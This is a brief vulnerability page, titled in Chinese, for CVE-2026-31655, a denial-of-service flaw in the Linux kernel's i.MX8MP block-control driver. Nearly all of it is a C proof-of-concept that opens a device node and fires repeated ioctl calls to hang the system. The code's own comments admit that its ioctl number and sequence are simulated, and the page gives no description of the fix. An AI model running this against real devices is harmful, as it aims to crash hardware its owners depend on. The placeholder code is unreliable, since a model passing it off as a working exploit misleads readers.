CVE-2026-31655: Linux内核imx8mp拒绝服务漏洞

/* * Conceptual PoC for CVE-2026-31655 * This script attempts to trigger the power domain state transition * that may lead to the NOC hang on vulnerable i.MX8MP hardware. * Note: Actual exploitation requires specific hardware and kernel configuration. */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #define IMX8MP_BLK_CTRL_DEV "/dev/imx8mp-blk-ctrl" int main() { int fd; printf("[+] Attempting to open %s\n", IMX8MP_BLK_CTRL_DEV); // Open the device node associated with the blk-ctrl driver fd = open(IMX8MP_BLK_CTRL_DEV, O_RDWR); if (fd < 0) { perror("[-] Failed to open device"); return 1; } printf("[+] Device opened. Triggering power state toggle...\n"); // In a real scenario, specific ioctl calls or sysfs writes // would be used here to toggle the NOC_HDCP power domain. // This simulates the sequence that leads to the clock disable race condition. for (int i = 0; i < 10; i++) { // Simulate rapid power state requests ioctl(fd, 0x8001, NULL); usleep(100000); } close(fd); printf("[+] Exploit attempt finished. System may hang if vulnerable.\n"); return 0; }